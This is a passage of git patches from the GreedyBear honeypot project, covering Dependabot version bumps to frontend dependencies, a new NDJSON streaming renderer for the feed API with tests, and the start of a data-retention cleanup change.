"https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.1.2.tgz", - "integrity": "sha512-LjQP/iZLBu8o8PjIfk4x3At0/mT6h282pvz8Z5LAyhGbu/kDezyO7ea62rF5uoqmgnIYqbN/MqJ3Si3Aymi7xQ==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.1.3.tgz", + "integrity": "sha512-BO9+oPL8K9poZJBfYPsXNtYjPE5uM3qeehT3aFcW4LITOl+iSqhp0abzjR2nWBUNjIZeKXjAEWBZ64WjNoHd6w==", "cpu": [ "arm64" ], @@ -1592,9 +1592,9 @@ } }, "node_modules/@rolldown/binding-linux-ppc64-gnu": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.1.2.tgz", - "integrity": "sha512-X/7bVLWelEsbyWDUSXt7zVsTniLLPIY2n1rH58qr78l9i7MNbbxBWD8gI2vRfBWf4NUXJCUuQnfZDsp32LqsfQ==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.1.3.tgz", + "integrity": "sha512-f3VpLB1vQ0Eo6ecr/6cekLnvYMFF4YBFoVGkfkvPLq1bAkbAwHYQPZKoAmG6OJyTcxxoC+AvezGx/S1obNC0Mw==", "cpu": [ "ppc64" ], @@ -1612,9 +1612,9 @@ } }, "node_modules/@rolldown/binding-linux-s390x-gnu": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.1.2.tgz", - "integrity": "sha512-gb6dYKW/1KDorGXyy48glEBJs/sxVSC5pcVrox/pFGV4mvwSFeg2sK5L2tRkVsVlh7kueqOgg4GEcuipJcGuKg==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.1.3.tgz", + "integrity": "sha512-AmurZ26Pqx/RI9N1gzEOCklkKXl927yjfXWUUS0O7Puh8ARM/Ob8qfrD3qnWksScdw6cSrW5PSHE9DyLu7+PtA==", "cpu": [ "s390x" ], @@ -1632,9 +1632,9 @@ } }, "node_modules/@rolldown/binding-linux-x64-gnu": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.1.2.tgz", - "integrity": "sha512-JY4w85pU3iAiJVMh5nuk4/Mh9GjMsupe8MrIN53rwxAZW64GKrWeJBuN6SxQg9QTU5uB1cxyhDzW8jqRn1EABw==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.1.3.tgz", + "integrity": "sha512-JJpqs8bRGITDOdbkNKnlojzBabbOHrqjSvDr0IVsZObE1lBcPjxItUEY9eWIDbxaJ3cGrXPWGfGkIxFijg/URg==", "cpu": [ "x64" ], @@ -1652,9 +1652,9 @@ } }, "node_modules/@rolldown/binding-linux-x64-musl": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.1.2.tgz", - "integrity": "sha512-xvpA7o5KCYLB0Rwscmuylb1/zHHSUx4g4xilm4prC5jP76pEUlzBmMbgpbh7bVDbId4NcfT96gN5i6mE6UDaiw==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.1.3.tgz", + "integrity": "sha512-rSJcdjPxzA/by/6/rYs+v+bXU7UjvnbUWz8MJb6kh6+knqB1dCrtHg0uu7C/4haqJvqdkYHQ5IGn+tCH9GLW/g==", "cpu": [ "x64" ], @@ -1672,9 +1672,9 @@ } }, "node_modules/@rolldown/binding-openharmony-arm64": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.1.2.tgz", - "integrity": "sha512-p/ts6KBLjuk49Bp21XH77poQGt02iNz7ChgHep7tudPOaLinR/De/RHdxF8w8Yj4r/bF/bqXwH6PZrB2sA+Nvw==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.1.3.tgz", + "integrity": "sha512-hQ3/PYkDJICgevvyNcVrihVeqq7k1Pp3VZ9lY+dauAYUJKO+auqApvANhvR1An9BhmqYKvW2Mu1F9u4DXSMLxQ==", "cpu": [ "arm64" ], @@ -1689,9 +1689,9 @@ } }, "node_modules/@rolldown/binding-wasm32-wasi": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.1.2.tgz", - "integrity": "sha512-VMu/wmrZ9hJzYlRhbw7jK5PODlugyKZ5mOdX78+lS8OvuFkWNQdz1pFLrI2p3P0pjXOmUZ7B48o5VnMH9QOGtg==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.1.3.tgz", + "integrity": "sha512-Elcv/BtML9lXrV6JuKITc/grN2kYV9gjsQpW8Jfw4ioK0TOkjBjye0nnyqQNy9STNaI20lXNaQBRrD5gSgR0Yg==", "cpu": [ "wasm32" ], @@ -1701,16 +1701,16 @@ "dependencies": { "@emnapi/core": "1.11.1", "@emnapi/runtime": "1.11.1", - "@napi-rs/wasm-runtime": "^1.1.5" + "@napi-rs/wasm-runtime": "^1.1.6" }, "engines": { "node": "^20.19.0 || >=22.12.0" } }, "node_modules/@rolldown/binding-win32-arm64-msvc": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.1.2.tgz", - "integrity": "sha512-xtUJqs8qEkuSviS0n1tsohaPuz3a1SPhZywOji4Oo+sgrJs8daEDMZ0QtqL0OS7dx8PoVpg2J/ZZycPY5I2+Zg==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.1.3.tgz", + "integrity": "sha512-2DrEfhluH9yhiaFApmsjsjwrSYbNcY1oFTzYSP1a535jDbV98zCFanA/96TBUd0iDFcxGmw9QRExwGCXz3U+/g==", "cpu": [ "arm64" ], @@ -1725,9 +1725,9 @@ } }, "node_modules/@rolldown/binding-win32-x64-msvc": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.1.2.tgz", - "integrity": "sha512-85YiLQqjUKgSO/Zjnf9e0XIn5Ymrh1fLDWBeAkZqpuBR/3R8TpfoHXuyblqyQrftSSgWO9qpcHN8mkyKsLraoA==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.1.3.tgz", + "integrity": "sha512-OL4OMk7UPXOeVGGd3qo5zJyPIljf4AFgk5QAkPPS+OoLuOOozhuaQGC18MxVTnw/06q93gShAJzlwnSCY9YtqA==", "cpu": [ "x64" ], @@ -5253,9 +5253,9 @@ } }, "node_modules/postcss": { - "version": "8.5.15", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.15.tgz", - "integrity": "sha512-FfR8sjd4em2T6fb3I2MwAJU7HWVMr9zba+enmQeeWFfCbm+UOC/0X4DS8XtpUTMwWMGbjKYP7xjfNekzyGmB3A==", + "version": "8.5.16", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.16.tgz", + "integrity": "sha512-vuwillviilfKZsg0VGj5R/YwwcHx4SLsIOI/7K6mQkWx+l5cUHTjj5g0AasTBcyXsbfTgrwsUNmVUb5xVwyPwg==", "dev": true, "funding": [ { @@ -5981,9 +5981,9 @@ } }, "node_modules/rolldown": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.1.2.tgz", - "integrity": "sha512-x0CrQQqCXWGeI8dTvFfN/Dnv3yMKT9hv5jFjlOreKAx9wqLq9wz7VvLLHyaAXC90/CpggTu9SisSbsJJTPSjNQ==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.1.3.tgz", + "integrity": "sha512-1F1eEtUBtFvcGm1HQ9TiUIUHPQG7mSAODrhIzjxoUEFuo8OcbrGLiVLkevNgj84TE4lnHvnumwFjhJO5Eu135g==", "dev": true, "license": "MIT", "dependencies": { @@ -5997,21 +5997,21 @@ "node": "^20.19.0 || >=22.12.0" }, "optionalDependencies": { - "@rolldown/binding-android-arm64": "1.1.2", - "@rolldown/binding-darwin-arm64": "1.1.2", - "@rolldown/binding-darwin-x64": "1.1.2", - "@rolldown/binding-freebsd-x64": "1.1.2", - "@rolldown/binding-linux-arm-gnueabihf": "1.1.2", - "@rolldown/binding-linux-arm64-gnu": "1.1.2", - "@rolldown/binding-linux-arm64-musl": "1.1.2", - "@rolldown/binding-linux-ppc64-gnu": "1.1.2", - "@rolldown/binding-linux-s390x-gnu": "1.1.2", - "@rolldown/binding-linux-x64-gnu": "1.1.2", - "@rolldown/binding-linux-x64-musl": "1.1.2", - "@rolldown/binding-openharmony-arm64": "1.1.2", - "@rolldown/binding-wasm32-wasi": "1.1.2", - "@rolldown/binding-win32-arm64-msvc": "1.1.2", - "@rolldown/binding-win32-x64-msvc": "1.1.2" + "@rolldown/binding-android-arm64": "1.1.3", + "@rolldown/binding-darwin-arm64": "1.1.3", + "@rolldown/binding-darwin-x64": "1.1.3", + "@rolldown/binding-freebsd-x64": "1.1.3", + "@rolldown/binding-linux-arm-gnueabihf": "1.1.3", + "@rolldown/binding-linux-arm64-gnu": "1.1.3", + "@rolldown/binding-linux-arm64-musl": "1.1.3", + "@rolldown/binding-linux-ppc64-gnu": "1.1.3", + "@rolldown/binding-linux-s390x-gnu": "1.1.3", + "@rolldown/binding-linux-x64-gnu": "1.1.3", + "@rolldown/binding-linux-x64-musl": "1.1.3", + "@rolldown/binding-openharmony-arm64": "1.1.3", + "@rolldown/binding-wasm32-wasi": "1.1.3", + "@rolldown/binding-win32-arm64-msvc": "1.1.3", + "@rolldown/binding-win32-x64-msvc": "1.1.3" } }, "node_modules/rtl-css-js": { @@ -6919,16 +6919,16 @@ } }, "node_modules/vite": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/vite/-/vite-8.1.0.tgz", - "integrity": "sha512-BuJcQK/56NQTWDGn4ABea3q4SSBdNPWwNZKTkkUpcMPnLoquSYH8llRtSUIgoL1KSCpHt5eghLShn50mH36y7Q==", + "version": "8.1.2", + "resolved": "https://registry.npmjs.org/vite/-/vite-8.1.2.tgz", + "integrity": "sha512-6YYPbRXTxx6bRXmOn7XdnQAy5DQNHhDgtjhDHI13oe4pY93kkcdGJWxpGwOm++/Wh0QpQhDrpIoVMrmrsI5AGQ==", "dev": true, "license": "MIT", "dependencies": { "lightningcss": "^1.32.0", "picomatch": "^4.0.4", - "postcss": "^8.5.15", - "rolldown": "~1.1.2", + "postcss": "^8.5.16", + "rolldown": "~1.1.3", "tinyglobby": "^0.2.17" }, "bin": { diff --git a/frontend/package.json b/frontend/package.json index c450578b3..1f9468f85 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -56,7 +56,7 @@ "jsdom": "^29.1.1", "prettier": "^3.8.4", "stylelint": "^17.13.0", - "vite": "^8.1.0", + "vite": "^8.1.2", "vitest": "^4.1.9" } } From a4ad0599b95b4149c15c5cffec426849926389a2 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 2 Jul 2026 10:03:05 +0200 Subject: [PATCH 061/131] build(deps-dev): bump prettier from 3.8.4 to 3.9.4 in /frontend (#1438) Bumps [prettier](https://github.com/prettier/prettier) from 3.8.4 to 3.9.4. - [Release notes](https://github.com/prettier/prettier/releases) - [Changelog](https://github.com/prettier/prettier/blob/main/CHANGELOG.md) - [Commits](https://github.com/prettier/prettier/compare/3.8.4...3.9.4) --- updated-dependencies: - dependency-name: prettier dependency-version: 3.9.4 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 8 ++++---- frontend/package.json | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index f869c69d8..82fca0170 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -35,7 +35,7 @@ "@vitest/coverage-v8": "^4.1.9", "eslint": "^9.39.4", "jsdom": "^29.1.1", - "prettier": "^3.8.4", + "prettier": "^3.9.4", "stylelint": "^17.13.0", "vite": "^8.1.2", "vitest": "^4.1.9" @@ -5340,9 +5340,9 @@ } }, "node_modules/prettier": { - "version": "3.8.4", - "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.8.4.tgz", - "integrity": "sha512-N2MylSdi48+5N/6S5j+maeHbUSIzzZ5uOcX5Hm4QpV8Dkb1HFjfAKTKX6yNPJQD9AhcT3ifHNB66tWTTJDi11Q==", + "version": "3.9.4", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.9.4.tgz", + "integrity": "sha512-yWG/o/4oJfo036EKAfK6ACAoDOfHeRHx4tuxkfBZiauURiaSmYwlpOr5LQqKtIkRD2z1PLteme2WoxEnj4tHTg==", "dev": true, "license": "MIT", "bin": { diff --git a/frontend/package.json b/frontend/package.json index 1f9468f85..69a73a052 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -54,7 +54,7 @@ "@vitest/coverage-v8": "^4.1.9", "eslint": "^9.39.4", "jsdom": "^29.1.1", - "prettier": "^3.8.4", + "prettier": "^3.9.4", "stylelint": "^17.13.0", "vite": "^8.1.2", "vitest": "^4.1.9" From e63cb41567b9206c3adef2a43953ea295d6d2b2c Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 2 Jul 2026 10:07:33 +0200 Subject: [PATCH 062/131] build(deps-dev): bump stylelint from 17.13.0 to 17.14.0 in /frontend (#1437) Bumps [stylelint](https://github.com/stylelint/stylelint) from 17.13.0 to 17.14.0. - [Release notes](https://github.com/stylelint/stylelint/releases) - [Changelog](https://github.com/stylelint/stylelint/blob/main/CHANGELOG.md) - [Commits](https://github.com/stylelint/stylelint/compare/17.13.0...17.14.0) --- updated-dependencies: - dependency-name: stylelint dependency-version: 17.14.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 26 +++++++++++++------------- frontend/package.json | 2 +- 2 files changed, 14 insertions(+), 14 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index 82fca0170..3071965d7 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -36,7 +36,7 @@ "eslint": "^9.39.4", "jsdom": "^29.1.1", "prettier": "^3.9.4", - "stylelint": "^17.13.0", + "stylelint": "^17.14.0", "vite": "^8.1.2", "vitest": "^4.1.9" } @@ -5309,9 +5309,9 @@ } }, "node_modules/postcss-selector-parser": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz", - "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==", + "version": "7.1.4", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.4.tgz", + "integrity": "sha512-HeP7D2wyhkR+XaK6v4W8oRF62Dsz4flyuczALJp61GckGm42u1saSSJ/0auvcBqxs3jMRFEcPK34At/0JBKdOg==", "dev": true, "license": "MIT", "dependencies": { @@ -6352,9 +6352,9 @@ } }, "node_modules/stylelint": { - "version": "17.13.0", - "resolved": "https://registry.npmjs.org/stylelint/-/stylelint-17.13.0.tgz", - "integrity": "sha512-G1WYzMerp7ihOaIe9VJCHLt12MoAD2QLf1AFerYP37+BCRBUK5UCpq8e/mN+zCIaJPKQcaxhE4WlPmqdiOx/gw==", + "version": "17.14.0", + "resolved": "https://registry.npmjs.org/stylelint/-/stylelint-17.14.0.tgz", + "integrity": "sha512-8xkHPpdqYryeIsOgfsYTmr6cIeC4nLYWk5S8BPxpodq8mIuepggkMljsHewWfuAjj/+qpRKou2QerhjMH3iasg==", "dev": true, "funding": [ { @@ -6370,13 +6370,13 @@ "dependencies": { "@csstools/css-calc": "^3.2.1", "@csstools/css-parser-algorithms": "^4.0.0", - "@csstools/css-syntax-patches-for-csstree": "^1.1.4", + "@csstools/css-syntax-patches-for-csstree": "^1.1.5", "@csstools/css-tokenizer": "^4.0.0", "@csstools/media-query-list-parser": "^5.0.0", "@csstools/selector-resolve-nested": "^4.0.0", "@csstools/selector-specificity": "^6.0.0", "colord": "^2.9.3", - "cosmiconfig": "^9.0.1", + "cosmiconfig": "^9.0.2", "css-functions-list": "^3.3.3", "css-tree": "^3.2.1", "debug": "^4.4.3", @@ -6396,7 +6396,7 @@ "picocolors": "^1.1.1", "postcss": "^8.5.15", "postcss-safe-parser": "^7.0.1", - "postcss-selector-parser": "^7.1.1", + "postcss-selector-parser": "^7.1.4", "postcss-value-parser": "^4.2.0", "string-width": "^8.2.1", "supports-hyperlinks": "^4.4.0", @@ -6412,9 +6412,9 @@ } }, "node_modules/stylelint/node_modules/cosmiconfig": { - "version": "9.0.1", - "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-9.0.1.tgz", - "integrity": "sha512-hr4ihw+DBqcvrsEDioRO31Z17x71pUYoNe/4h6Z0wB72p7MU7/9gH8Q3s12NFhHPfYBBOV3qyfUxmr/Yn3shnQ==", + "version": "9.0.2", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-9.0.2.tgz", + "integrity": "sha512-gtTZxTDau1wL7Y7zifc2dd8jHSK/k6BTx/2Xp/BpdlAdnlYWFVt7qhJqgwi7637yRwRQ3qL4ZidbB4I8tA5VOg==", "dev": true, "license": "MIT", "dependencies": { diff --git a/frontend/package.json b/frontend/package.json index 69a73a052..c4dda8e30 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -55,7 +55,7 @@ "eslint": "^9.39.4", "jsdom": "^29.1.1", "prettier": "^3.9.4", - "stylelint": "^17.13.0", + "stylelint": "^17.14.0", "vite": "^8.1.2", "vitest": "^4.1.9" } From db3cccd1e6091f6ed3c5502d924607483d7e47d4 Mon Sep 17 00:00:00 2001 From: suvani-ctrl Date: Thu, 2 Jul 2026 14:32:14 +0545 Subject: [PATCH 063/131] Implement NDJSON renderer for feed endpoints.Closes #1408 (#1419) * feat(api): implement custom NDJSON renderer for feeds * feat: add NDJSON streamable output format to feed endpoints --- api/renderers.py | 10 ++++++++ api/serializers/feeds.py | 2 +- api/views/feeds.py | 27 ++++++++++++++------- tests/api/views/test_feeds_advanced_view.py | 19 +++++++++++++++ tests/api/views/test_feeds_view.py | 11 +++++++++ 5 files changed, 59 insertions(+), 10 deletions(-) diff --git a/api/renderers.py b/api/renderers.py index 358fe1860..7fcc8603a 100644 --- a/api/renderers.py +++ b/api/renderers.py @@ -26,6 +26,16 @@ def render(self, data, accepted_media_type=None, renderer_context=None): return super().render(data, accepted_media_type, renderer_context) +class FeedNDJSONRenderer(BaseRenderer): + media_type = "application/x-ndjson" + format = "ndjson" + charset = "utf-8" + + # FeedNDJSONRenderer exists only for DRF content negotiation, actual streaming is handled via StreamingHttpResponse in render_response(). + def render(self, data, accepted_media_type=None, renderer_context=None): + return b"" + + class FeedRendererMixin(BaseRenderer): """Shared safety net for the non-JSON feed renderers.""" diff --git a/api/serializers/feeds.py b/api/serializers/feeds.py index 771a3a043..4fb3f2874 100644 --- a/api/serializers/feeds.py +++ b/api/serializers/feeds.py @@ -99,7 +99,7 @@ class BaseFeedRequestSerializer(serializers.Serializer): ) ioc_type = serializers.ChoiceField(choices=["ip", "domain", "all"], default="all", help_text="Restrict to IPs, domains, or both.") ordering = serializers.CharField(default="-last_seen", help_text="IOC field to order by; prefix with `-` for descending (e.g. `-last_seen`).") - format = serializers.ChoiceField(choices=["csv", "json", "txt", "stix21"], default="json", help_text="Output representation.") + format = serializers.ChoiceField(choices=["csv", "json", "txt", "stix21", "ndjson"], default="json", help_text="Output representation.") def to_internal_value(self, data: Mapping) -> dict: """Normalize raw query params before field validation: diff --git a/api/views/feeds.py b/api/views/feeds.py index aed18cad4..8e0864e88 100644 --- a/api/views/feeds.py +++ b/api/views/feeds.py @@ -1,6 +1,7 @@ # This file is a part of GreedyBear https://github.com/honeynet/GreedyBear # See the file 'LICENSE' for copying permission. import hashlib +import json from datetime import timedelta from certego_saas.apps.auth.backend import CookieTokenAuthentication @@ -9,7 +10,7 @@ from django.core import signing from django.db.models import Count, F, Q, QuerySet, Value from django.db.models.functions import JSONObject -from django.http import HttpResponseBase +from django.http import HttpResponseBase, StreamingHttpResponse from django.utils import timezone from drf_spectacular.types import OpenApiTypes from drf_spectacular.utils import OpenApiParameter, OpenApiResponse, extend_schema, extend_schema_view @@ -22,7 +23,7 @@ from api.filters import FeedsFilterSet from api.mixins import CachedResponseMixin, RequestLoggingMixin -from api.renderers import FeedCSVRenderer, FeedJSONRenderer, FeedTextRenderer, Stix21Renderer +from api.renderers import FeedCSVRenderer, FeedJSONRenderer, FeedNDJSONRenderer, FeedTextRenderer, Stix21Renderer from api.serializers import ( AdvancedFeedEnvelopeSerializer, AdvancedFeedRequestSerializer, @@ -55,6 +56,7 @@ "txt": FeedTextRenderer, "csv": FeedCSVRenderer, "stix21": Stix21Renderer, + "ndjson": FeedNDJSONRenderer, } RESPONSES = { @@ -87,7 +89,7 @@ class BaseFeedView(RequestLoggingMixin, CachedResponseMixin, APIView): authentication_classes = [CookieTokenAuthentication] permission_classes = [AllowAny] throttle_classes = [FeedsThrottle] - renderer_classes = [FeedJSONRenderer, FeedTextRenderer, FeedCSVRenderer, Stix21Renderer] + renderer_classes = [FeedJSONRenderer, FeedTextRenderer, FeedCSVRenderer, Stix21Renderer, FeedNDJSONRenderer] # REQUEST HANDLING serializer_class = None @@ -151,7 +153,7 @@ def get_queryset(self) -> QuerySet: iocs = iocs.filter(honeypots__active=True) iocs = iocs.annotate(honeypot_names=ArrayAgg("honeypots__name", distinct=True)) - if self.request_params["format"] == "json": + if self.request_params["format"] in ["json", "ndjson"]: iocs = iocs.annotate( tags_json=ArrayAgg( JSONObject(key=F("tags__key"), value=F("tags__value"), source=F("tags__source")), @@ -171,6 +173,7 @@ def sort_and_slice_queryset(self, qs: QuerySet) -> QuerySet: def render_response(self, request: Request, iocs_queryset: QuerySet) -> HttpResponseBase: """Select the renderer for the validated format and hand it the prepared data.""" + requested_format = self.request_params.get("format") if self.should_paginate(self.request_params): verbose = self.request_params.get("verbose", False) paginator = self.pagination_class() @@ -179,10 +182,15 @@ def render_response(self, request: Request, iocs_queryset: QuerySet) -> HttpResp request.accepted_renderer = FeedJSONRenderer() request.accepted_media_type = FeedJSONRenderer.media_type return paginator.get_paginated_response(resp_data) + if requested_format == "ndjson" or request.accepted_media_type == "application/x-ndjson": + verbose = self.request_params.get("verbose", False) + + def stream_iocs(): + feed = build_feed_dict(iocs_queryset, verbose, include_sensors=self.include_sensors) + for ioc in feed["iocs"]: + yield json.dumps(ioc, default=str) + "\n" - # Hand the raw queryset to the renderer and flag it for envelope shaping. - # Set only here so error/exception responses (which bypass render_response) - # and the pre-built paginated/ASN payloads are left as plain JSON. + return StreamingHttpResponse(stream_iocs(), content_type="application/x-ndjson") renderer = RENDERERS_BY_FORMAT[self.request_params["format"]]() request.accepted_renderer = renderer request.accepted_media_type = renderer.media_type @@ -264,7 +272,7 @@ def should_paginate(self, request_data: dict) -> bool: return True def get_request_data(self, request: Request, **kwargs) -> dict: - """Pagination requires JSON response.""" + """Pagination requires JSON response""" return request.query_params.dict() | {"format": "json"} @@ -298,7 +306,7 @@ def get_queryset(self) -> QuerySet: iocs = iocs.annotate(credential_count=Count("credentials", distinct=True)) - if self.request_params["format"] == "json": + if self.request_params["format"] in ["json", "ndjson"]: iocs = iocs.annotate( sensors_json=ArrayAgg( JSONObject(address=F("sensors__address"), label=F("sensors__label")), @@ -307,6 +315,7 @@ def get_queryset(self) -> QuerySet: distinct=True, ) ) + return iocs diff --git a/tests/api/views/test_feeds_advanced_view.py b/tests/api/views/test_feeds_advanced_view.py index 5e4d88f02..6564a57c4 100644 --- a/tests/api/views/test_feeds_advanced_view.py +++ b/tests/api/views/test_feeds_advanced_view.py @@ -1,4 +1,5 @@ import hashlib +import json from datetime import datetime, timedelta from unittest.mock import patch @@ -37,6 +38,24 @@ def test_200_all_feeds(self): self.assertEqual(target_ioc["recurrence_probability"], self.ioc.recurrence_probability) self.assertEqual(target_ioc["expected_interactions"], self.ioc.expected_interactions) + def test_verbose_field(self): + response = self.client.get("/api/feeds/advanced/?format=ndjson&verbose=true") + body = b"".join(response.streaming_content).decode("utf-8") + lines = [line for line in body.split("\n") if line.strip()] + iocs = [json.loads(line) for line in lines] + target_ioc = next((i for i in iocs if i["value"] == self.ioc.name), None) + self.assertIn("days_seen", target_ioc) + self.assertIn("firehol_categories", target_ioc) + + def test_delimeter(self): + response = self.client.get("/api/feeds/advanced/?format=ndjson&include_mass_scanners") + body = b"".join(response.streaming_content).decode("utf-8") + lines = [line for line in body.split("\n") if line.strip()] + value = 1 + self.assertGreater(len(lines), value) + for line in lines: + json.loads(line) + def test_200_general_feeds(self): response = self.client.get("/api/feeds/advanced/?feed_type=heralding") self.assertEqual(response.status_code, 200) diff --git a/tests/api/views/test_feeds_view.py b/tests/api/views/test_feeds_view.py index f2d85320c..72caf1d6f 100644 --- a/tests/api/views/test_feeds_view.py +++ b/tests/api/views/test_feeds_view.py @@ -1,3 +1,4 @@ +import json from unittest.mock import patch from django.conf import settings @@ -32,6 +33,16 @@ def test_200_log4pot_feeds(self): self.assertEqual(target_ioc["recurrence_probability"], self.ioc.recurrence_probability) self.assertEqual(target_ioc["expected_interactions"], self.ioc.expected_interactions) + def test_200_ndjson_feed(self): + response = self.client.get("/api/feeds/all/all/recent.ndjson") + self.assertIn("application/x-ndjson", response.headers.get("Content-Type", "")) + self.assertEqual(response.status_code, 200) + body = b"".join(response.streaming_content).decode("utf-8") + lines = [line for line in body.split("\n") if line.strip()] + iocs = [json.loads(line) for line in lines] + values = [ioc["value"] for ioc in iocs] + self.assertIn(self.ioc.name, values) + @override_settings(FEEDS_LICENSE="https://example.com/license") def test_200_all_feeds_with_license(self): """Test feeds endpoint when FEEDS_LICENSE is populated""" From eed899799c19d1f5a93d0e7c6ecbe09d78bc8561 Mon Sep 17 00:00:00 2001 From: Drona Raj Gyawali Date: Thu, 2 Jul 2026 15:43:17 +0545 Subject: [PATCH 064/131] feat: implement retention-based cleanup for RawEvent and EventStatus (#1436) * rawevent and eventstatus periodic cleanup Signed-off-by: Drona Raj Gyawali * documented variable in template Signed-off-by: Drona Raj Gyawali --------- Signed-off-by: Drona Raj Gyawali --- docker/env_file_template | 6 ++++ greedybear/cronjobs/cleanup.py | 26 ++++++++++++--- greedybear/cronjobs/repositories/__init__.py | 1 + greedybear/cronjobs/repositories/event.py | 26 +++++++++++++++ greedybear/settings.py | 3 ++ tests/greedybear/cronjobs/test_cleanup.py | 34 +++++++++++++++++++- 6 files changed, 90 insertions(+), 6 deletions(-) create mode 100644 greedybear/cronjobs/repositories/event.py diff --git a/docker/env_file_template b/docker/env_file_template index 7e018ca98..f36aac3d2 100644 --- a/docker/env_file_template +++ b/docker/env_file_template @@ -76,6 +76,12 @@ COWRIE_SESSION_RETENTION = 365 # Days to keep unseen command sequences before deletion COMMAND_SEQUENCE_RETENTION = 365 +# Days to keep RawEvents data before deletion +RAW_EVENT_RETENTION = 7 + +# Days to keep EventStatus data before deletion +EVENT_STATUS_RETENTION = 30 + # ThreatFox API key. # Once added, your payload request domains will be submitted to ThreatFox. # Also used to download ThreatFox indicators for enrichment. diff --git a/greedybear/cronjobs/cleanup.py b/greedybear/cronjobs/cleanup.py index 8a9bba1a8..c866ae61e 100644 --- a/greedybear/cronjobs/cleanup.py +++ b/greedybear/cronjobs/cleanup.py @@ -4,13 +4,16 @@ from greedybear.cronjobs.repositories import ( APISourceRepository, CowrieSessionRepository, + EventRepository, IocRepository, StatisticsRepository, ) from greedybear.settings import ( COMMAND_SEQUENCE_RETENTION, COWRIE_SESSION_RETENTION, + EVENT_STATUS_RETENTION, IOC_RETENTION, + RAW_EVENT_RETENTION, STATISTICS_RETENTION, ) @@ -19,13 +22,12 @@ class CleanUp(Cronjob): """ A scheduled job that performs database cleanup operations by removing outdated records. - This job handles deletion of old IOCs, CowrieSessions, CommandSequences, and Statistics - based on retention periods defined in the application settings. It also resets the invalid - event count for API sources daily. All deletion operations are logged with counts of removed - objects. + This job handles deletion of old IOCs, CowrieSessions, CommandSequences, RawEvents, EventStatus and + Statistics based on retention periods defined in the application settings. It also resets the invalid + event count for API sources daily. All deletion operations are logged with counts of removed objects. """ - def __init__(self, ioc_repo=None, cowrie_repo=None, stats_repo=None, api_source_repo=None): + def __init__(self, ioc_repo=None, cowrie_repo=None, stats_repo=None, api_source_repo=None, event_repo=None): """ Initialize the cleanup job with repository dependencies. @@ -34,12 +36,14 @@ def __init__(self, ioc_repo=None, cowrie_repo=None, stats_repo=None, api_source_ cowrie_repo: Optional CowrieSessionRepository instance for 